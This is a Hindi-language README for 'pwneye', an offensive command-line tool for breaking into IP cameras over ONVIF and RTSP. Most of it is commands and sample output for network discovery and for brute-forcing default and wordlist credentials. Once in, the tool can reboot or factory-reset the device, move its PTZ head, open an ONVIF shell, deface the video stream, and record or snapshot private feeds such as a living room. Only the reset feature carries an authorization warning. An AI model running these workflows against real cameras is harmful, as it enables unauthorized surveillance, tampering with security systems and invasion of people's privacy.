
आपका ONVIF और RTSP कैमरा साथी, वास्तविक दुनिया के सुरक्षा कैमरों की खोज और हैकिंग के लिए 🎥
pwneye एक केंद्रित और पोर्टेबल आक्रामक सुरक्षा उपकरण है जो उन IP कैमरों के साथ काम करने के लिए है जो ONVIF और RTSP सेवाओं को उजागर करते हैं, जिसका उद्देश्य सुरक्षा शोधकर्ताओं और हैकर्स को एक ही CLI वर्कफ़्लो से डिस्कवरी, प्रमाणीकरण परीक्षण, मेटाडेटा संग्रह, स्ट्रीम सत्यापन, रिकॉर्डिंग और अनुवर्ती कार्रवाइयों को संभालने का आसान तरीका देना है।
वर्तमान में समर्थित कुछ क्षमताओं में शामिल हैं:
ffplay के माध्यम से लाइव प्रीव्यू, ffmpeg के माध्यम से रिकॉर्डिंग, और स्नैपशॉट कैप्चर~/.pwneye के अंतर्गत सफल ONVIF और RTSP निष्कर्षों का प्रति-लक्ष्य कैशिंगhttps://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
GitHub से pwneye को सिस्टम-व्यापी CLI कमांड के रूप में स्थापित करें:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
इसे अनइंस्टॉल करें:```bash
pipx uninstall pwneye
बाद में उसी GitHub स्रोत से इसे अपग्रेड करें:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
बाद में उसी GitHub स्रोत से इसे अपग्रेड करें:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### बाहरी निर्भरताएँ
निम्नलिखित टूल्स आपके उपयोग के मोड के आधार पर `PATH` में होने की अपेक्षा की जाती है:
- `ffplay`
- `ffprobe`
- रिकॉर्डिंग के लिए `ffmpeg`
| प्लेटफ़ॉर्म | इंस्टॉल कमांड |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## आरंभ करना
इन्हें टूल में प्रवेश के सबसे तेज़ बिंदुओं के रूप में उपयोग करें। यहाँ लक्ष्य हर फ़्लैग का दस्तावेज़ीकरण करना नहीं है, बल्कि आपके पास पहले से मौजूद जानकारी के आधार पर कैमरे के साथ काम शुरू करने के सबसे उपयोगी तरीके दिखाना है।
जब आपके पास एक ही लक्ष्य हो और आप चाहते हैं कि `pwneye` आपके लिए प्रोटोकॉल चयन का काम करे, तो डिफ़ॉल्ट पूर्ण वर्कफ़्लो से शुरू करें:```bash
pwneye -t 192.168.1.135
जब आप उसी स्थानीय नेटवर्क पर हों और RTSP को छूने से पहले डिवाइस, विक्रेताओं और स्ट्रीम संकेतों की पहचान करना चाहें, तो ONVIF डिस्कवरी से शुरुआत करें:```bash pwneye --discover
जब ONVIF अप्रासंगिक, अनुपलब्ध हो, या आप पहले से जानते हों कि आप क्या परीक्षण करना चाहते हैं, तो सीधे RTSP से शुरू करें:```bash
pwneye -t 192.168.1.135 --skip-onvif
जब आप शोर कम करना चाहते हैं और पहुंच को तेज़ी से सत्यापित करना चाहते हैं, तो ज्ञात या संदिग्ध क्रेडेंशियल्स से शुरुआत करें:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
जब आपके पास पहले से स्ट्रीम का संकेत हो और आप RTSP अनुरोधों पर सख्त नियंत्रण चाहते हों, तो किसी ज्ञात पथ या पथ टेम्पलेट से शुरू करें:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
एक बार कार्यशील स्ट्रीम मिल जाने पर साक्ष्य संग्रह से शुरू करें:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
याद रखने योग्य उपयोगी फ़्लैग:
- `--vendor VENDOR`: जब डिवाइस परिवार पहले से ज्ञात हो तो RTSP अनुरोधों को कम करें
- `-cn, --connection-string PATH`: कोई ज्ञात RTSP पथ या उम्मीदवार पथों वाली फ़ाइल आज़माएँ
- `--multi-channel`: जब आपको DVR/NVR-शैली के लक्ष्य का संदेह हो तो चैनल-आधारित RTSP पथों को प्राथमिकता दें
- `--threads N`: ONVIF और RTSP ब्रूटफोर्स के लिए समवर्तीता नियंत्रित करें
- `--skip-onvif` / `--skip-rtsp`: केवल एक प्रोटोकॉल पर ध्यान केंद्रित करें
- `--no-cache`: कैश से न पढ़ें और न ही लिखें
- `--fresh`: कैश रीड को अनदेखा करें लेकिन फिर भी नए निष्कर्ष लिखें
## ONVIF
ONVIF कैमरा जगत का प्रबंधन और नियंत्रण पक्ष है। व्यवहार में, यह डिस्कवरी, प्रमाणीकरण, मेटाडेटा निष्कर्षण, मीडिया प्रोफ़ाइल गणना, स्ट्रीम URI पुनर्प्राप्ति, और रीबूट जैसी डिवाइस क्रियाओं के लिए उपयोगी है।
`pwneye` में, ONVIF आमतौर पर वह प्रोटोकॉल है जो प्रमाणीकरण के बाद का सबसे समृद्ध संदर्भ देता है, यह समझने का सबसे स्पष्ट मार्ग प्रदान करता है कि कैमरा क्या उजागर करता है, और जब प्रमाणित खाते के पास पर्याप्त विशेषाधिकार हों, तो डिवाइस पर वास्तविक प्रशासनिक क्रियाओं तक पहुँच प्रदान करता है।
### ONVIF आपको क्या देता है
जब कोई कैमरा ONVIF उजागर करता है, तो `pwneye` इसका उपयोग कर सकता है:
- WS-Discovery के माध्यम से स्थानीय नेटवर्क पर कैमरों की खोज करने के लिए
- निश्चित क्रेडेंशियल या फ़ाइलों का उपयोग करके ONVIF प्रमाणीकरण का परीक्षण करने के लिए
- निर्माता और डिवाइस मेटाडेटा निकालने के लिए
- डिवाइस द्वारा उजागर किए गए RTSP स्ट्रीम URI पुनर्प्राप्त करने के लिए
- RTSP को अधिक आक्रामक रूप से छूने से पहले उपयोगी पोस्ट-प्रमाणीकरण संदर्भ की गणना करने के लिए
- `--reboot` के साथ प्रमाणित रीबूट का अनुरोध करने के लिए
- `--reset` के साथ प्रमाणित फ़ैक्टरी रीसेट का अनुरोध करने के लिए
- CLI से या समर्पित व्यूअर से PTZ-क्षमता वाले कैमरे को स्थानांतरित करने के लिए
- `--shell` के साथ प्रमाणित इंटरैक्टिव शेल खोलने के लिए
- `--deface` के साथ ONVIF के माध्यम से स्ट्रीम को विकृत करने के लिए
- `--undeface` के साथ अंतिम सहेजी गई विकृति प्रोफ़ाइल को पुनर्स्थापित करने के लिए
### स्थानीय नेटवर्क की गणना करना
स्थानीय नेटवर्क पर ONVIF-क्षमता वाले डिवाइसों की पहचान करने के लिए WS-Discovery का उपयोग करें:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
खोज लूप हर कुछ सेकंड में जांच करता रहता है, केवल नए खोजे गए डिवाइस प्रिंट करता है, और CTRL-C से रोका जा सकता है।
आप किसी विशिष्ट नेटवर्क इंटरफ़ेस के माध्यम से भी खोज को बाध्य कर सकते हैं:```bash pwneye --discover en0 pwneye --discover eth0
जब कोई इंटरफ़ेस निर्दिष्ट नहीं होता है, `pwneye` स्वचालित रूप से डिफ़ॉल्ट आउटबाउंड इंटरफ़ेस चुनता है और आपको बताता है कि WS-Discovery के लिए यह किस टार्गेट सबनेट का उपयोग कर रहा है।
### क्रेडेंशियल्स का ब्रूटफोर्स करना
एक निश्चित उपयोगकर्ता नाम और एक पासवर्ड फ़ाइल के साथ केवल-ONVIF ब्रूटफोर्स चलाएँ:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
उपयोगी विकल्प:
--skip-onvif: ONVIF पहचान और गणना (enumeration) छोड़ें-oP, --onvif-port PORT: किसी विशिष्ट ONVIF पोर्ट का परीक्षण करें-ou, --onvif-username USER: ONVIF उपयोगकर्ता नाम या फ़ाइल जिसमें प्रति पंक्ति एक उपयोगकर्ता नाम हो-op, --onvif-password PASS: ONVIF पासवर्ड या फ़ाइल जिसमें प्रति पंक्ति एक पासवर्ड होयदि -ou और -op निर्दिष्ट नहीं हैं, तो pwneye स्वचालित रूप से अपने अंतर्निहित सामान्य ONVIF उपयोगकर्ता नामों और पासवर्डों पर वापस आ जाता है।
pwneye सफल ONVIF क्रेडेंशियल्स को प्रति लक्ष्य ~/.pwneye/cache के अंतर्गत कैश करता है और भविष्य के रनों में उन्हें पुनः उपयोग करता है, जब तक कि आप --fresh या --no-cache का उपयोग न करें।
यदि ONVIF प्रमाणीकरण सफल होता है, तो आप सीधे रीबूट का अनुरोध कर सकते हैं:``` pwneye -t 192.168.1.135 --reboot
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!
जब `--reboot` का उपयोग किया जाता है, तो RTSP प्रोबिंग छोड़ दी जाती है।
### कैमरा रीसेट करना
यदि ONVIF प्रमाणीकरण सफल होता है, तो आप सीधे फ़ैक्टरी रीसेट का अनुरोध भी कर सकते हैं:```text
pwneye -t 192.168.1.135 --reset
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.
चेतावनी: यह ऑपरेशन अपरिवर्तनीय हो सकता है और यह डिवाइस की वर्तमान कॉन्फ़िगरेशन, क्रेडेंशियल्स और नेटवर्क सेटिंग्स को मिटा सकता है। --reset का उपयोग केवल तभी करें जब आप प्रभाव को पूरी तरह से समझते हों और इसे करने के लिए स्पष्ट रूप से अधिकृत हों।
जैसा कि --reboot के साथ होता है, जब --reset का उपयोग किया जाता है, तो RTSP प्रोबिंग को छोड़ दिया जाता है।
यदि लक्ष्य ONVIF के माध्यम से PTZ नियंत्रण प्रदर्शित करता है, तो pwneye कैमरे को टर्मिनल से और समर्पित लाइव व्यूअर दोनों से घुमा सकता है।
CLI से, direction,duration के साथ --move का उपयोग करें। फ्लैग को दोहराया जा सकता है, और अनुरोधित मूव्स क्रम में निष्पादित किए जाते हैं जबकि RTSP प्रोबिंग को छोड़ दिया जाता है:```bash
pwneye -t 192.168.1.135 --move right,2
pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3
pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3
स्वीकार्य दिशाएँ हैं:
- `left` या `l`
- `right` या `r`
- `up` या `u`
- `down` या `d`
उदाहरण:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1
...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...
[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!
समर्पित व्यूअर के अंदर, यदि PTZ समर्थित है, तो फोकस्ड व्यू आपको W, A, S, और D के साथ कैमरे को इंटरैक्टिव रूप से घुमाने की भी सुविधा देता है। यह तब उपयोगी होता है जब आपके पास पहले से एक कार्यशील स्ट्रीम हो और डिवाइस को समायोजित करते समय सीधा विज़ुअल फीडबैक चाहते हों।
यदि ONVIF प्रमाणीकरण सफल होता है, तो pwneye सीधे स्ट्रीम को विकृत करने का प्रयास भी कर सकता है:```bash
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
`--deface` क्या करता है, संक्षेप में:
- यह पहले जाँचता है कि क्या लक्ष्य ONVIF Imaging के माध्यम से स्ट्रीम डार्कनिंग का समर्थन करता है
- यह यह भी जाँचता है कि क्या लक्ष्य पुनः उपयोग योग्य ONVIF टेक्स्ट लेयर उजागर करता है
- यदि दोनों उपलब्ध हैं, तो `pwneye` पूर्ण deface करता है
- यदि केवल एक पक्ष उपलब्ध है, तो `pwneye` उपयोगकर्ता को चेतावनी देता है और इसके बजाय आंशिक deface प्रदान करता है
- कुछ भी बदलने से पहले, `pwneye` लक्ष्य के लिए `~/.pwneye/cache` के अंतर्गत एक रिस्टोर प्रोफ़ाइल सहेजता है
कार्यान्वयन जानबूझकर रूढ़िवादी और विक्रेता-अनुकूल है:
- डार्कनिंग चरण के लिए, `pwneye` विक्रेता-विशिष्ट तरकीबों पर निर्भर रहने के बजाय समर्थित इमेजिंग नियंत्रणों जैसे कि ब्राइटनेस, कंट्रास्ट और सैचुरेशन को कम करता है
- टेक्स्ट चरण के लिए, `pwneye` नए OSD प्रविष्टियाँ बनाने या हटाने के बजाय मौजूदा लिखने योग्य ONVIF टेक्स्ट लेयर का पुनः उपयोग करता है
- यह सुविधा को विभिन्न कैमरा परिवारों में अधिक संगत बनाता है, भले ही अंतिम दृश्य परिणाम अभी भी फर्मवेयर पर निर्भर करता है
उदाहरण:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

यदि पिछले --deface रन ने लक्ष्य के लिए एक रिस्टोर प्रोफ़ाइल सहेजी है, तो pwneye इसका उपयोग मूल ONVIF स्थिति को पुनर्स्थापित करने के लिए कर सकता है:```bash
pwneye -t 192.168.1.135 --undeface
`--undeface` संक्षेप में क्या करता है:
- यह टारगेट कैश एंट्री में पहले से सहेजे गए deface रिस्टोर प्रोफाइल की तलाश करता है
- यदि कोई प्रोफाइल मौजूद नहीं है, तो यह तुरंत एक त्रुटि के साथ रुक जाता है
- यदि कोई प्रोफाइल मौजूद है, तो यह मूल Imaging सेटिंग्स और मूल राइटेबल टेक्स्ट लेयर्स को पुनर्स्थापित करने का प्रयास करता है
- `--deface` की तरह, अंतिम परिणाम पूर्ण या आंशिक हो सकता है, यह इस बात पर निर्भर करता है कि टारगेट ONVIF के माध्यम से क्या अनुमति देता है
रिस्टोर प्रोफाइल सफल `--undeface` के बाद हटाया नहीं जाता है। यह कैश में तब तक रहता है जब तक भविष्य का कोई `--deface` इसे नए प्रोफाइल के साथ अधिलेखित नहीं कर देता।
उदाहरण:```text
pwneye -t 192.168.1.135 --undeface
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!
यदि ONVIF प्रमाणीकरण सफल होता है, तो pwneye आपको सीधे एक इंटरैक्टिव ONVIF शेल में भी ले जा सकता है।
यह तब उपयोगी होता है जब आप वर्तमान वर्कफ़्लो को छोड़े बिना सेवाओं का निरीक्षण करना, मैन्युअल रूप से विधियों को कॉल करना, क्षमताओं का पता लगाना, या लक्ष्य-विशिष्ट संचालन का परीक्षण करना चाहते हैं।
उदाहरण:```text pwneye -t 192.168.1.135 --shell
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[info] Opening the interactive ONVIF shell...
This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.
[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc
## RTSP
RTSP कैमरा दुनिया का स्ट्रीमिंग पक्ष है। यह वह प्रोटोकॉल है जो आमतौर पर आपको लाइव वीडियो पथ देता है, लेकिन यह सबसे अधिक खंडित भी है: विक्रेता अलग-अलग पथ, चैनल परंपराओं, प्रमाणीकरण विशेषताओं और बैनर प्रारूपों का उपयोग करते हैं।
`pwneye` में, RTSP हैंडलिंग पोर्ट डिस्कवरी, बैनर ग्रैबिंग, विक्रेता-जागरूक पथ चयन, ब्रूटफोर्स ऑर्केस्ट्रेशन, स्ट्रीम सत्यापन, पूर्वावलोकन और रिकॉर्डिंग के आसपास बनाई गई है।
### RTSP आपको क्या देता है
RTSP वर्कफ़्लो का वह हिस्सा है जो पुष्टि करता है कि क्या आप वास्तव में एक स्ट्रीम तक पहुँच सकते हैं। `pwneye` में, इसका अर्थ है:
- सामान्य या उपयोगकर्ता-निर्दिष्ट पोर्ट पर RTSP का पता लगाना
- बैनर ग्रैब करना और विक्रेता को स्वचालित रूप से पहचानने का प्रयास करना
- विक्रेता-जागरूक या उपयोगकर्ता-प्रदत्त पथों के विरुद्ध क्रेडेंशियल्स का ब्रूटफोर्स करना
- खोलने से पहले कार्यशील स्ट्रीम को सत्यापित करना
- साक्ष्य के लिए स्ट्रीम रिकॉर्ड करना या स्नैपशॉट कैप्चर करना
- जब लक्ष्य DVR या NVR की तरह व्यवहार करता है तो कई चैनलों की गणना करना
### विक्रेता की पहचान करना
`pwneye` व्यापक पथ गणना पर वापस जाने से पहले RTSP बैनर ग्रैबिंग के माध्यम से RTSP विक्रेता को स्वचालित रूप से पहचानने का प्रयास करेगा।
यदि स्वचालित बैनर-आधारित पहचान विफल हो जाती है और आप पहले से विश्लेषण से विक्रेता को जानते हैं, तो आप अनुरोधों की संख्या को काफी कम करने के लिए इसे सीधे पास कर सकते हैं:```bash
pwneye -t 192.168.1.135 --vendor tenda
आप केवल RTSP बैनर प्राप्त करके बाहर निकल सकते हैं:``` pwneye -t 192.168.1.135 --skip-onvif --banner
... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0
उपयोगी विकल्प:
- `--skip-rtsp`: RTSP पहचान और ब्रूटफोर्स को छोड़ें
- `-P, --rtsp-port PORT`: किसी विशिष्ट RTSP पोर्ट का परीक्षण करें
- `--vendor VENDOR`: RTSP डेटाबेस से किसी विक्रेता को बलपूर्वक चुनें
- `--list-vendors`: RTSP ज्ञानकोष द्वारा समर्थित विक्रेताओं को प्रिंट करें और बाहर निकलें
- `--protocol tcp|udp`: RTSP ट्रांसपोर्ट चुनें, डिफ़ॉल्ट `tcp` है
- `--timeout SECONDS`: RTSP टाइमआउट, डिफ़ॉल्ट `10` है
### RTSP ब्रूटफोर्स
निश्चित क्रेडेंशियल्स के साथ RTSP ब्रूटफोर्स करें:```bash
pwneye -t 192.168.1.135 --username admin --password admin
केवल फिक्स्ड पासवर्ड के साथ यूज़रनेम घुमाएं:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10
एकल उपयोगकर्ता-प्रदत्त RTSP कनेक्शन स्ट्रिंग आज़माएं:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"
लोड कैंडिडेट कनेक्शन स्ट्रिंग्स फ़ाइल से:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt
मैन्युअल पाथ को फिक्स्ड क्रेडेंशियल्स के साथ संयोजित करें:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"
Prefer multi-channel paths when the target is likely a DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel
उपयोगी विकल्प:
- `-u, --username USER`: RTSP उपयोगकर्ता नाम या फ़ाइल जिसमें प्रति पंक्ति एक उपयोगकर्ता नाम हो
- `-p, --password PASS`: RTSP पासवर्ड या फ़ाइल जिसमें प्रति पंक्ति एक पासवर्ड हो
- `-cn, --connection-string PATH`: RTSP कनेक्शन स्ट्रिंग या फ़ाइल जिसमें प्रति पंक्ति एक कनेक्शन स्ट्रिंग हो
- `--multi-channel`: उपलब्ध होने पर RTSP मल्टी-चैनल कनेक्शन स्ट्रिंग्स को प्राथमिकता दें
- `--threads N`: ब्रूटफोर्स इंजन द्वारा उपयोग किए जाने वाले समवर्ती थ्रेड्स की संख्या
यदि `-u` और `-p` निर्दिष्ट नहीं हैं, तो `pwneye` स्वचालित रूप से अपने अंतर्निहित सामान्य RTSP उपयोगकर्ता नामों और पासवर्डों पर वापस आ जाता है।
`pwneye` सफल RTSP क्रेडेंशियल्स और सत्यापित स्ट्रीम मेटाडेटा को प्रति लक्ष्य `~/.pwneye/cache` के अंतर्गत कैश करता है।
कैश व्यवहार:
- डिफ़ॉल्ट: ताज़ा ब्रूटफोर्स चलाने से पहले कैश किए गए मान्य निष्कर्षों का पुन: उपयोग करें
- `--fresh`: कैश किए गए परिणामों को अनदेखा करें लेकिन नए निष्कर्षों के साथ कैश को अपडेट करें
- `--no-cache`: कैश रीड और कैश राइट दोनों को अक्षम करें
### मल्टी-चैनल स्ट्रीम्स
कुछ कैमरे, DVR और NVR एकल स्थिर पथ के बजाय कई तार्किक RTSP चैनल उजागर करते हैं। विशिष्ट उदाहरणों में निम्नलिखित जैसे टेम्पलेट शामिल हैं:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0
pwneye RTSP प्रोबिंग के दौरान इसे स्वचालित रूप से पहचान सकता है, जिसमें विक्रेता-आधारित RTSP ज्ञान भी शामिल है, लेकिन आप प्रक्रिया को स्पष्ट रूप से भी निर्देशित कर सकते हैं:
--multi-channel pwneye को ज्ञान आधार से चैनल-आधारित RTSP पथों को प्राथमिकता देने के लिए कहता है--connection-string आपको अपना स्वयं का चैनल टेम्पलेट प्रदान करने देता है, जिसमें {channel} जैसे प्लेसहोल्डर शामिल हैंpwneye एक ही विंडो में या तो एकल फ़ीड या समर्पित मल्टी-चैनल व्यूअर खोल सकता हैउदाहरण:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt
नमूना आउटपुट:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far
[0] Open all discovered channels in a dedicated client
[1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
[2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
[3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0
[>] Select channel (CTRL-C to exit):
यदि आप Open all discovered channels चुनते हैं, तो pwneye एक समर्पित मल्टी-चैनल क्लाइंट लॉन्च करता है जो सभी खोजे गए स्ट्रीम को एक ही विंडो में रखता है। प्रत्येक फीड मोज़ेक में लाइव प्रीव्यू के रूप में दिखाई जाती है, और किसी टाइल पर क्लिक करने से वह चैनल एक बड़े फोकस्ड व्यू में प्रमोट हो जाता है, जिसमें ग्रिड पर वापस लौटने के लिए एक सरल Back क्रिया होती है।
डिफ़ॉल्ट रूप से, लाइव RTSP प्रीव्यू समर्पित pwneye क्लाइंट का उपयोग करता है। यदि आप इसके बजाय क्लासिक सिस्टम-प्लेयर वर्कफ़्लो पसंद करते हैं, तो आप सत्यापित स्ट्रीम को ffplay के साथ खोलने के लिए --legacy जोड़ सकते हैं।
जब समर्पित क्लाइंट खुला होता है, तो आप GUI छोड़े बिना फोकस्ड व्यू से सीधे Snapshot और Record भी ट्रिगर कर सकते हैं। यह तब उपयोगी होता है जब आप पहले किसी फीड का निरीक्षण करना चाहते हैं और उसके बाद ही स्टिल इमेज सहेजने या साक्ष्य रिकॉर्ड करने का निर्णय लेते हैं।
लाइव प्रीव्यू के साथ एक सत्यापित स्ट्रीम खोलें:```bash pwneye -t 192.168.1.135 --vendor tenda
RTSP स्ट्रीम को पूर्वावलोकन के साथ रिकॉर्ड करें:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4
स्नैपशॉट लें, पूरी रिकॉर्डिंग के बजाय:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg
बिना पूर्वावलोकन विंडो खोले रिकॉर्ड करें:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video
...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)
व्यवहार रिकॉर्ड करना:
--record [OUTPUT.mp4]: सत्यापित RTSP स्ट्रीम रिकॉर्ड करें; यदि छोड़ दिया जाए, तो ~/.pwneye/recordings के अंतर्गत एक टाइमस्टैम्प्ड फ़ाइल बनाई जाती है--snapshot [OUTPUT.jpg]: सत्यापित RTSP स्ट्रीम से एक स्थिर फ्रेम सहेजें; यदि छोड़ दिया जाए, तो ~/.pwneye/snapshots के अंतर्गत एक टाइमस्टैम्प्ड फ़ाइल बनाई जाती है--no-video: लाइव प्रीव्यू और डिकोडिंग छोड़ेंSnapshot और Record क्रियाएँ भी प्रदर्शित करता है~/.pwneye/recordings/<target>/ के अंतर्गत संग्रहीत की जाती हैं~/.pwneye/snapshots/<target>/ के अंतर्गत संग्रहीत किए जाते हैंअगर pwneye कोई वीडियो गेम होता, तो ये शायद वे टिप्स होते जो आप लोडिंग स्क्रीन पर देखते:
--discover स्थानीय नेटवर्क पर काम करता है, तो पहले इसका उपयोग करें। विक्रेता जानकारी, डिवाइस मेटाडेटा और कैश्ड निष्कर्ष बाद के RTSP कार्य को अधिक शांत और विश्वसनीय बना सकते हैं।--skip-rtsp के साथ पहले उस पक्ष पर ब्रूटफोर्स करना आमतौर पर अधिक समझदारी है। जब pwneye वैध ONVIF क्रेडेंशियल पाता है, तो यह उन्हें RTSP पर स्वचालित रूप से पुनः उपयोग करने का प्रयास करेगा।--vendor पास करें। यह अनुरोधों को कम करता है और नाजुक लक्ष्यों को स्थिर रखने में मदद कर सकता है।--connection-string का उपयोग करें। यह आपको अनुरोध सेट पर सख्त नियंत्रण देता है और विफलताओं की व्याख्या करना आसान बनाता है।--multi-channel या मैन्युअल चैनल टेम्पलेट आज़माएँ।@kaburagisec को onvif-python के लिए विशेष धन्यवाद, जो pwneye द्वारा उपयोग की जाने वाली ONVIF लाइब्रेरी है।
इसने इस परियोजना के ONVIF पक्ष को काफी आसान और अधिक विश्वसनीय बना दिया।
